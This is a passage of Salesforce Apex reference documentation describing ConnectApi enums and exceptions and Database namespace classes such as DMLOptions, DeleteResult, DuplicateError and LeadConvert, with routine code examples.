Name
Number
Percent
Phone
Picklist
Reference
Text
Time

ConnectApi.
RelatedFeedPostType

Specifies the type of related feed post.

AnsweredRelated questions that have at least one answer.
BestAnswerRelated questions that have a best answer.
GenericAll types of related questions, including answered, with a best answer, and
unanswered.
UnansweredRelated questions that dont have answers.

ConnectApi.
SocialNetworkProvider

The social network provider.

Facebook
GooglePlus

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Enum

ConnectApi Enums

Description
Instagram
Klout
Line
LinkedIn
Other
Pinterest
Rypple
SinaWeibo
Twitter
VKontakte
WeChat
WhatsApp
YouTube

ConnectApi.
SocialPostStatusType

The current state of the social post.

ApprovalPending
ApprovalRecalled
ApprovalRejected
Deleted
Failed
Pending
Replied
Sent
Unknown

ConnectApi.SortOrder

A generic sort order direction.

AscendingAscending order (A-Z).
DescendingDescending order (Z-A).

ConnectApi.TopicSort

Specifies the order returned by the sort:

popularDescSorts topics by popularity with the most popular first. This value is the
default.
alphaAscSorts topics alphabetically.

ConnectApi.UserProfile
TabType

Specifies the type of user profile tab:

CustomVisualForceTab that displays data from a Visualforce page.
CustomWebTab that displays data from any external Web-based application or Web
page.
ElementTab that displays generic content inline.
FeedTab that displays the Chatter feed.

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Enum

ConnectApi Exceptions

Description
OverviewTab that displays user details.

ConnectApi.UserType

Specifies the type of user.

ChatterGuestUser is an external user in a private group.
ChatterOnlyUser is a Chatter Free customer.
GuestUser is unauthenticated.
InternalUser is a standard organization member.
PortalUser is an external user in a customer portal, partner portal, or community.
SystemUser is Chatter Expert or a system user.
UndefinedUser is a user type that is a custom object.

ConnectApi.
WorkflowProcessStatus

Specifies the status of a workflow process.

Approved
Fault
Held
NoResponse
Pending
Reassigned
Rejected
Removed
Started

ConnectApi.ZoneSearch
ResultType

Specifies the zone search result type.

ArticleSearch results contain only articles.
QuestionSearch results contain only questions.

ConnectApi.ZoneShowIn

Specifies the zone search result type.

CommunityAvailable in a community.
InternalAvailable internally only.
PortalAvailable in a portal.

ConnectApi Exceptions
The ConnectApi namespace contains exception classes.
All exceptions classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions on page 2092.
The ConnectApi namespace contains these exceptions:

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Database Namespace

Exception

Description

ConnectApi.ConnectApiException

Any logic error in the way your application is utilizing

ConnectApi code. This is equivalent to receiving a 400 error
from Chatter REST API.

ConnectApi.NotFoundException

Any issues with the specified resource being found. This is

equivalent to receiving a 404 error from Chatter REST API.

ConnectApi.RateLimitException

When you exceed the rate limit. This is equivalent to receiving a

503 Service Unavailable error from Chatter REST API.

Database Namespace
The Database namespace provides classes used with DML operations.
The following are the classes in the Database namespace.
IN THIS SECTION:
Batchable Interface
The class that implements this interface can be executed as a batch Apex job.
BatchableContext Interface
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by
Apex.
DeletedRecord Class
Contains information about a deleted record.
DeleteResult Class
Represents the result of a delete DML operation returned by the Database.delete method.
DMLOptions Class
Enables you to set options related to DML operations.
DmlOptions.AssignmentRuleHeader Class
Enables setting assignment rule options.
DMLOptions.DuplicateRuleHeader Class
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management
feature.
DmlOptions.EmailHeader Class
Enables setting email options.
DuplicateError Class
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization
has set up duplicate rules, which are part of the Duplicate Management feature.
EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.
Error Class
Represents information about an error that occurred during a DML operation when using a Database method.

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Reference

Batchable Interface

GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.
GetUpdatedResult Class
Contains the result for the Database.getUpdated method call.
LeadConvert Class
Contains information used for lead conversion.
LeadConvertResult Class
The result of a lead conversion.
MergeResult Class
Contains the result of a merge Database method operation.
QueryLocator Class
Represents the record set returned by Database.getQueryLocator and used with Batch Apex.
QueryLocatorIterator Class
Represents an iterator over a query locator record set.
SaveResult Class
The result of an insert or update DML operation returned by a Database method.
UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.
UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.

Batchable Interface
The class that implements this interface can be executed as a batch Apex job.

Namespace
Database
SEE ALSO:
Using Batch Apex

Batchable Methods
The following are methods for Batchable.
IN THIS SECTION:
execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the
batch job.
finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.

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Reference

Batchable Interface

start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.
start(jobId)
Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.

execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the batch
job.

Signature
public Void execute(Database.BatchableContext jobId, List<sObject> recordList)

Parameters
jobId

Type: Database.BatchableContext
Contains the job ID.
recordList

Type: List<sObject>
Contains the batch of records to process.

Return Value
Type: Void

finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.

Signature
public Void finish(Database.BatchableContext jobId)

Parameters
jobId

Type: Database.BatchableContext
Contains the job ID.

Return Value
Type: Void

start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.

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Reference

BatchableContext Interface

Signature
public System.Iterable start(Database.BatchableContext jobId)

Parameters
jobId

Type: Database.BatchableContext
Contains the job ID.

Return Value
Type: System.Iterable

start(jobId)
Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.

Signature
public Database.QueryLocator start(Database.BatchableContext jobId)

Parameters
jobId

Type: Database.BatchableContext
Contains the job ID.

Return Value
Type: Database.QueryLocator

BatchableContext Interface
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by Apex.

Namespace
Database
SEE ALSO:
Batchable Interface

BatchableContext Methods
The following are methods for BatchableContext.

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Reference

DeletedRecord Class

IN THIS SECTION:
getChildJobId()
Returns the ID of the current batch job chunk that is being processed.
getJobId()
Returns the batch job ID.

getChildJobId()
Returns the ID of the current batch job chunk that is being processed.

Signature
public Id getChildJobId()

Return Value
Type: ID

getJobId()
Returns the batch job ID.

Signature
public Id getJobId()

Return Value
Type: ID

DeletedRecord Class
Contains information about a deleted record.

Namespace
Database

Usage
The getDeletedRecords method of the Database.GetDeletedResult class returns a list of
Database.DeletedRecord objects. Use the methods in the Database.DeletedRecord class to retrieve details about
each deleted record.

DeletedRecord Methods
The following are methods for DeletedRecord. All are instance methods.

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Reference

DeleteResult Class

IN THIS SECTION:
getDeletedDate()
Returns the deleted date of this record.
getId()
Returns the ID of a record deleted within the time window specified in the Database.getDeleted method.

getDeletedDate()
Returns the deleted date of this record.

Signature
public Date getDeletedDate()

Return Value
Type: Date

getId()
Returns the ID of a record deleted within the time window specified in the Database.getDeleted method.

Signature
public Id getId()

Return Value
Type: ID

DeleteResult Class
Represents the result of a delete DML operation returned by the Database.delete method.

Namespace
Database

Usage
An array of Database.DeleteResult objects is returned with the delete database method. Each element in the DeleteResult
array corresponds to the sObject array passed as the sObject[] parameter in the delete Database method; that is, the first
element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second
element, and so on. If only one sObject is passed in, the DeleteResult array contains a single element.

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Reference

DeleteResult Class

Example
The following example shows how to obtain and iterate through the returned Database.DeleteResult objects. It deletes some
queried accounts using Database.delete with a false second parameter to allow partial processing of records on failure. Next, it
iterates through the results to determine whether the operation was successful or not for each record. It writes the ID of every record
that was processed successfully to the debug log, or error messages and fields of the failed records.
// Query the accounts to delete
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Delete the accounts
Database.DeleteResult[] drList = Database.delete(accts, false);
// Iterate through each returned result
for(Database.DeleteResult dr : drList) {
if (dr.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully deleted account with ID: ' + dr.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : dr.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}

DeleteResult Methods
The following are methods for DeleteResult. All are instance methods.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error
occurred, returns an empty set.
getId()
Returns the ID of the sObject you were trying to delete.
isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

getErrors()
If an error occurred, returns an array of one or more database error objects providing the error code and description. If no error occurred,
returns an empty set.

Signature
public Database.Error[] getErrors()

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Reference

DMLOptions Class

Return Value
Type: Database.Error[]

getId()
Returns the ID of the sObject you were trying to delete.

Signature
public ID getId()

Return Value
Type: ID

Usage
If this field contains a value, the object was successfully deleted. If this field is empty, the operation was not successful for that object.

isSuccess()
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

DMLOptions Class
Enables you to set options related to DML operations.

Namespace
Database

Usage
Database.DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect

only for record operations performed using Apex DML and not through the Salesforce user interface. The DMLOptions class has three
child options.
DML Child Options
DmlOptions.AssignmentRuleHeaderEnables setting assignment rule options.
DmlOptions.DuplicateRuleHeaderDetermines options for using duplicate rules to detect duplicate records. Duplicate rules are
part of the Duplicate Management feature.

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Reference

DMLOptions Class

DmlOptions.EmailHeaderEnables setting email options.

DmlOptions Properties
The following are properties for DmlOptions.
IN THIS SECTION:
allowFieldTruncation
Specifies the truncation behavior of large strings.
assignmentRuleHeader
Specifies the assignment rule to be used when creating a case or lead.
emailHeader
Specifies additional information regarding the automatic email that gets sent when an events occurs.
localeOptions
Specifies the language of any labels that are returned by Apex.
optAllOrNone
Specifies whether the operation allows for partial success.

allowFieldTruncation
Specifies the truncation behavior of large strings.

Signature
public Boolean allowFieldTruncation {get; set;}

Property Value
Type: Boolean

Usage
In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated.
For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The
allowFieldTruncation property allows you to specify that the previous behavior, truncation, be used instead of the new
behavior in Apex saved against API versions 15.0 and later.

assignmentRuleHeader
Specifies the assignment rule to be used when creating a case or lead.

Signature
public Database.DmlOptions.Assignmentruleheader assignmentRuleHeader {get; set;}

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Reference

DMLOptions Class

Property Value
Type: Database.DMLOptions.AssignmentRuleHeader

Usage
Note: The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.

emailHeader
Specifies additional information regarding the automatic email that gets sent when an events occurs.

Signature
public Database.DmlOptions.EmailHeader emailHeader {get; set;}

Property Value
Type: Database.DMLOptions.EmailHeader

Usage
The Salesforce user interface allows you to specify whether or not to send an email when the following events occur.
Creation of a new case or task
Conversion of a case email to a contact
New user email notification
Lead queue email notification
Password reset
In Apex saved against API version 15.0 or later, the Database.DMLOptions emailHeader property enables you to specify additional
information regarding the email that gets sent when one of the events occurs because of the code's execution.

localeOptions
Specifies the language of any labels that are returned by Apex.

Signature
public Database.DmlOptions.LocaleOptions localeOptions {get; set;}

Property Value
Type: Database.DMLOptions.LocaleOptions

Usage
The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The
first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string
also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US',
and the string for French Canadian is 'fr_CA.'

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Reference

DmlOptions.AssignmentRuleHeader Class

For a list of the languages that Salesforce supports, see Which Languages Does Salesforce Support? in the Salesforce online help.

optAllOrNone
Specifies whether the operation allows for partial success.

Signature
public Boolean optAllOrNone {get; set;}

Property Value
Type: Boolean

Usage
If optAllOrNone is set to true, all changes are rolled back if any record causes errors. The default for this property is false and
successfully processed records are committed while records with errors aren't.
This property is available in Apex saved against Salesforce API version 20.0 and later.

DmlOptions.AssignmentRuleHeader Class
Enables setting assignment rule options.

Namespace
Database

Example
The following example uses the useDefaultRule option:
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule= true;
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

The following example uses the assignmentRuleID option:

Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId= '01QD0000000EqAn';
Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;

DmlOptions.AssignmentRuleHeader Properties
The following are properties for DmlOptions.AssignmentRuleHeader.

1499

Reference

DmlOptions.AssignmentRuleHeader Class

IN THIS SECTION:
assignmentRuleID
Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.
useDefaultRule
If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not
specify an assignmentRuleId.

assignmentRuleID
Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.

Signature
public Id assignmentRuleID {get; set;}

Property Value
Type: ID

Usage
The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify useDefaultRule.
If the value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.
Note: For the Case sObject, the assignmentRuleID DML option can be set only from the API and is ignored when set from
Apex. For example, you can set the assignmentRuleID for an active or inactive rule from the executeanonymous()
API call, but not from the Developer Console. This doesnt apply to leadsthe assignmentRuleID DML option can be set
for leads from both Apex and the API.

useDefaultRule
If specified as true for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify
an assignmentRuleId.

Signature
public Boolean useDefaultRule {get; set;}

Property Value
Type: Boolean

Usage
If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with useDefaultRule
set to true results in the case or lead being assigned to the predefined default owner. In API version 30.0 and later, the case or lead is
unassigned and doesn't get assigned to the default owner.

1500

Reference

DMLOptions.DuplicateRuleHeader Class

DMLOptions.DuplicateRuleHeader Class
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.

Namespace
Database

Example
The following example shows how to save an account record thats been identified as a duplicate. To learn how to iterate through
duplicate errors, see DuplicateError Class
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}

IN THIS SECTION:
DMLOptions.DuplicateRuleHeader Properties

DMLOptions.DuplicateRuleHeader Properties
The following are properties for DMLOptions.DuplicateRuleHeader.
IN THIS SECTION:
allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.
runAsCurrentUser
Set to true to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to false to use the
sharing rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing
rules for the current user are not enforced.

allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.

Signature
public Boolean allowSave {get; set;}

Property Value
Type: Boolean

1501

Reference

DmlOptions.EmailHeader Class

Example
This example shows how to save an account record thats been identified as a duplicate.
dml.DuplicateRuleHeader.allowSave = true means the user should be allowed to save the duplicate. To learn how
to iterate through duplicate errors, see DuplicateError Class.
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}

runAsCurrentUser
Set to true to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to false to use the sharing
rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing rules for the
current user are not enforced.

Signature
public Boolean runAsCurrentUser {get; set;}

Property Value
Type: Boolean

Usage
If specified as true, duplicate rules run for the current user, which ensures users cant view duplicate records that arent available to
them.
Use runAsCurrentUser = true to detect duplicates when converting leads to contacts. Typically, lead conversion Apex code
runs in a system context and does not enforce sharing rules for the current user.

Example
This example shows how to set options so that duplicate rules run for the current user when saving a new account.
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}

DmlOptions.EmailHeader Class
Enables setting email options.

1502

Reference

DmlOptions.EmailHeader Class

Namespace
Database

Usage
Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader
take effect only for DML operations carried out in Apex code.

Example
In the following example, the triggerAutoResponseEmail option is specified:
Account a = new Account(name='Acme Plumbing');
insert a;
Contact c = new Contact(email='[email protected]', firstname='Joe',lastname='Plumber',
accountid=a.id);
insert c;
Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;
Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);

DmlOptions.EmailHeader Properties
The following are properties for DmlOptions.EmailHeader.
IN THIS SECTION:
triggerAutoResponseEmail
Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
triggerOtherEmail
Indicates whether to trigger email outside the organization (true) or not (false).
triggerUserEmail
Indicates whether to trigger email that is sent to users in the organization (true) or not (false).

triggerAutoResponseEmail
Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.

Signature
public Boolean triggerAutoResponseEmail {get; set;}

1503

Reference

DmlOptions.EmailHeader Class

Property Value
Type: Boolean

Usage
This email can be automatically triggered by a number of events, for example creating a case or resetting a user password. If this value
is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that
address. If not, the email is sent to the address specified in SuppliedEmail

triggerOtherEmail
Indicates whether to trigger email outside the organization (true) or not (false).

Signature
public Boolean triggerOtherEmail {get; set;}

Property Value
Type: Boolean

Usage
This email can be automatically triggered by creating, editing, or deleting a contact for a case.
Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event.
Note the following behaviors for group event email sent through Apex:
Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate

triggerUserEmail
Indicates whether to trigger email that is sent to users in the organization (true) or not (false).

Signature
public Boolean triggerUserEmail {get; set;}

Property Value
Type: Boolean

Usage
This email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a
task.

1504

Reference

DuplicateError Class

Note: Adding comments to a case in Apex doesnt trigger email to users in the organization even if triggerUserEmail is
set to true.
Note: Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which
IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note
the following behaviors for group event email sent through Apex:
Sending a group event invitation to a user respects the triggerUserEmail option
Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail
options, as appropriate

DuplicateError Class
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization has
set up duplicate rules, which are part of the Duplicate Management feature.

Namespace
Database

Example
When you try to save a record thats identified as a duplicate record by a duplicate rule, youll receive a duplicate error. If the duplicate
rule contains the Allow action, an attempt will be made to bypass the error.
// Try to save a duplicate account
Account duplicateAccount = new Account(Name='Acme', BillingCity='San Francisco');
Database.SaveResult sr = Database.insert(duplicateAccount, false);
if (!sr.isSuccess()) {
// Insertion failed due to duplicate detected
for(Database.Error duplicateError : sr.getErrors()){
Datacloud.DuplicateResult duplicateResult =
((Database.DuplicateError)duplicateError).getDuplicateResult();
System.debug('Duplicate records have been detected by ' +
duplicateResult.getDuplicateRule());
System.debug(duplicateResult.getErrorMessage());
}
// If the duplicate rule is an alert rule, we can try to bypass it
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.AllowSave = true;
Database.SaveResult sr2 = Database.insert(duplicateAccount, dml);
if (sr2.isSuccess()) {
System.debug('Duplicate account has been inserted in Salesforce!');
}
}

1505

Reference

DuplicateError Class

IN THIS SECTION:
DuplicateError Methods
SEE ALSO:
SaveResult Class
DuplicateResult Class
Error Class

DuplicateError Methods
The following are methods for DuplicateError.
IN THIS SECTION:
getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
Returns the error message text.
getStatusCode()
Returns a code that characterizes the error.

getDuplicateResult()
Returns the details of a duplicate rule and duplicate records found by the duplicate rule.

Signature
public Datacloud.DuplicateResult getDuplicateResult()

Return Value
Type: Datacloud.DuplicateResult

Example
This example shows the code used to get the possible duplicates and related match information after saving a new contact. This code
is part of a custom application that implements duplicate management when users add a contact. See DuplicateResult Class on page
1534 to check out the entire sample applicaton.
Datacloud.DuplicateResult duplicateResult =
duplicateError.getDuplicateResult();

getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

1506

Reference

EmptyRecycleBinResult Class

Signature
public List<String> getFields()

Return Value
Type: List<String>

getMessage()
Returns the error message text.

Signature
public String getMessage()

Return Value
Type: String

getStatusCode()
Returns a code that characterizes the error.

Signature
public StatusCode getStatusCode()

Return Value
Type: StatusCode

EmptyRecycleBinResult Class
The result of the emptyRecycleBin DML operation returned by the Database.emptyRecycleBin method.

Namespace
Database

Usage
A list of Database.EmptyRecycleBinResult objects is returned by the Database.emptyRecycleBin method. Each
object in the list corresponds to either a record ID or an sObject passed as the parameter in the Database.emptyRecycleBin
method. The first index in the EmptyRecycleBinResult list matches the first record or sObject specified in the list, the second with the
second, and so on.

EmptyRecycleBinResult Methods
The following are methods for EmptyRecycleBinResult. All are instance methods.

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Reference

Error Class

IN THIS SECTION:
getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors
occurred, the returned list is empty.
getId()
Returns the ID of the record or sObject you attempted to delete.
isSuccess()
Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.

getErrors()
If an error occurred during the delete for this record or sObject, returns a list of one or more Database.Error objects. If no errors occurred,
the returned list is empty.

Signature
public Database.Errors[] getErrors()

Return Value
Type: Database.Errors []

getId()
Returns the ID of the record or sObject you attempted to delete.

Signature
public ID getId()

Return Value
Type: ID

isSuccess()
Returns true if the record or sObject was successfully removed from the Recycle Bin; otherwise false.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

Error Class
Represents information about an error that occurred during a DML operation when using a Database method.

1508

Reference

Error Class

Namespace
Database

Usage
Error class is part of SaveResult, which is generated when a user attempts to save a Salesforce record.

SEE ALSO:
SaveResult Class
DuplicateError Class

Error Methods
The following are methods for Error. All are instance methods.
IN THIS SECTION:
getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.
getMessage()
Returns the error message text.
getStatusCode()
Returns a code that characterizes the error.

getFields()
Returns an array of one or more field names. Identifies which fields in the object, if any, affected the error condition.

Signature
public String[] getFields()

Return Value
Type: String[]

getMessage()
Returns the error message text.

Signature
public String getMessage()

Return Value
Type: String

1509

Reference

GetDeletedResult Class

getStatusCode()
Returns a code that characterizes the error.

Signature
public StatusCode getStatusCode()

Return Value
Type: StatusCode

Usage
The full list of status codes is available in the WSDL file for your organization (see Downloading Salesforce WSDLs and Client Authentication
Certificates in the Salesforce online help.)

GetDeletedResult Class
Contains the deleted records retrieved for a specific sObject type and time window.

Namespace
Database

Usage
The Database.getDeleted method returns the deleted record information as a Database.GetDeletedResult object.

GetDeletedResult Methods
The following are methods for GetDeletedResult. All are instance methods.
IN THIS SECTION:
getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.
getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in
Database.getDeleted.
getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.

getDeletedRecords()
Returns a list of deleted records for the time window specified in the Database.getDeleted method call.

1510

Reference

GetUpdatedResult Class

Signature
public List<Database.DeletedRecord> getDeletedRecords()

Return Value
Type: List<Database.DeletedRecord>

getEarliestDateAvailable()
Returns the date in Coordinated Universal Time (UTC) of the earliest physically deleted object for the sObject type specified in
Database.getDeleted.

Signature
public Date getEarliestDateAvailable()

Return Value
Type: Date

getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getDeleted call.

Signature
public Date getLatestDateCovered()

Return Value
Type: Date

Usage
If there is a value, it is less than or equal to the endDate argument of Database.getDeleted. A value here indicates that, for
safety, you should use this value for the startDate of your next call to capture the changes that started after this date but didnt
complete before endDate and were, therefore, not returned in the previous call.

GetUpdatedResult Class
Contains the result for the Database.getUpdated method call.

Namespace
Database

1511

Reference

LeadConvert Class

Usage
Use the methods in this class to obtain detailed information about the updated records returned by Database.getUpdated for
a specific time window.

GetUpdatedResult Methods
The following are methods for GetUpdatedResult. All are instance methods.
IN THIS SECTION:
getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.
getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.

getIds()
Returns the IDs of records updated within the time window specified in the Database.getUpdated method.

Signature
public List<Id> getIds()

Return Value
Type: List<ID>

getLatestDateCovered()
Returns the date in Coordinated Universal Time (UTC) of the last date covered in the Database.getUpdated call.

Signature
public Date getLatestDateCovered()

Return Value
Type: Date

LeadConvert Class
Contains information used for lead conversion.

Namespace
Database

1512

Reference

LeadConvert Class

Usage
The convertLead Database method converts a lead into an account and contact, as well as (optionally) an opportunity. The
convertLead takes an instance of the Database.LeadConvert class as a parameter. Create an instance of this class and set
the information required for conversion, such as setting the lead, and destination account and contact.

Example
This example shows how to use the Database.convertLead method to convert a lead. It inserts a new lead, creates a
LeadConvert object, sets its status to converted, then passes it to the Database.convertLead method. Finally, it verifies
that the conversion was successful.
Lead myLead = new Lead(LastName = 'Fry', Company='Fry And Sons');
insert myLead;
Database.LeadConvert lc = new Database.LeadConvert();
lc.setLeadId(myLead.id);
LeadStatus convertStatus = [SELECT Id, MasterLabel FROM LeadStatus WHERE IsConverted=true
LIMIT 1];
lc.setConvertedStatus(convertStatus.MasterLabel);
Database.LeadConvertResult lcr = Database.convertLead(lc);
System.assert(lcr.isSuccess());

IN THIS SECTION:
LeadConvert Constructors
LeadConvert Methods

LeadConvert Constructors
The following are constructors for LeadConvert.
IN THIS SECTION:
LeadConvert()
Creates a new instance of the Database.LeadConvert class.

LeadConvert()
Creates a new instance of the Database.LeadConvert class.

Signature
public LeadConvert()

LeadConvert Methods
The following are methods for LeadConvert. All are instance methods.

1513

Reference

LeadConvert Class

IN THIS SECTION:
getAccountId()
Gets the ID of the account into which the lead will be merged.
getContactId()
Gets the ID of the contact into which the lead will be merged.
getConvertedStatus()
Gets the lead status value for a converted lead.
getLeadID()
Gets the ID of the lead to convert.
getOpportunityName()
Gets the name of the opportunity to create.
getOwnerID()
Gets the ID of the person to own any newly created account, contact, and opportunity.
isDoNotCreateOpportunity()
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).
isOverWriteLeadSource()
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource
field in the source Lead object (true), or not (false, the default).
isSendNotificationEmail()
Indicates whether a notification email is sent to the owner specified by setOwnerId (true) or not (false, the default).
setAccountId(accountId)
Sets the ID of the account into which the lead will be merged. This value is required only when updating an existing account, including
person accounts. Otherwise, if setAccountId is specified, a new account is created.
setContactId(contactId)
Sets the ID of the contact into which the lead will be merged (this contact must be associated with the account specified with
setAccountId, and setAccountId must be specified). This value is required only when updating an existing contact.
setConvertedStatus(status)
Sets the lead status value for a converted lead. This field is required.
setDoNotCreateOpportunity(createOpportunity)
Specifies whether to create an opportunity during lead conversion. The default value is false: opportunities are created by default.
Set this flag to true only if you do not want to create an opportunity from the lead.
setLeadId(leadId)
Sets the ID of the lead to convert. This field is required.
setOpportunityName(opportunityName)
Sets the name of the opportunity to create. If no name is specified, this value defaults to the company name of the lead.
setOverwriteLeadSource(overwriteLeadSource)
Specifies whether to overwrite the LeadSource field on the target contact object with the contents of the LeadSource field
in the source lead object. The default value is false, to not overwrite the field. If you specify this as true, you must also specify
setContactId for the target contact.

1514

Reference

LeadConvert Class

setOwnerId(ownerId)
Specifies the ID of the person to own any newly created account, contact, and opportunity. If the application does not specify this
value, the owner of the new object will be the owner of the lead.
setSendNotificationEmail(sendEmail)
Specifies whether to send a notification email to the owner specified by setOwnerId. The default value is false, that is, to not
send email.

getAccountId()
Gets the ID of the account into which the lead will be merged.

Signature
public ID getAccountId()

Return Value
Type: ID

getContactId()
Gets the ID of the contact into which the lead will be merged.

Signature
public ID getContactId()

Return Value
Type: ID

getConvertedStatus()
Gets the lead status value for a converted lead.

Signature
public String getConvertedStatus()

Return Value
Type: String

getLeadID()
Gets the ID of the lead to convert.

Signature
public ID getLeadID()

1515

Reference

LeadConvert Class

Return Value
Type: ID

getOpportunityName()
Gets the name of the opportunity to create.

Signature
public String getOpportunityName()

Return Value
Type: String

getOwnerID()
Gets the ID of the person to own any newly created account, contact, and opportunity.

Signature
public ID getOwnerID()

Return Value
Type: ID

isDoNotCreateOpportunity()
Indicates whether an Opportunity is created during lead conversion (false, the default) or not (true).

Signature
public Boolean isDoNotCreateOpportunity()

Return Value
Type: Boolean

isOverWriteLeadSource()
Indicates whether the LeadSource field on the target Contact object is overwritten with the contents of the LeadSource field
in the source Lead object (true), or not (false, the default).

Signature
public Boolean isOverWriteLeadSource()

1516

Reference

LeadConvert Class

Return Value
Type: Boolean

isSendNotificationEmail()
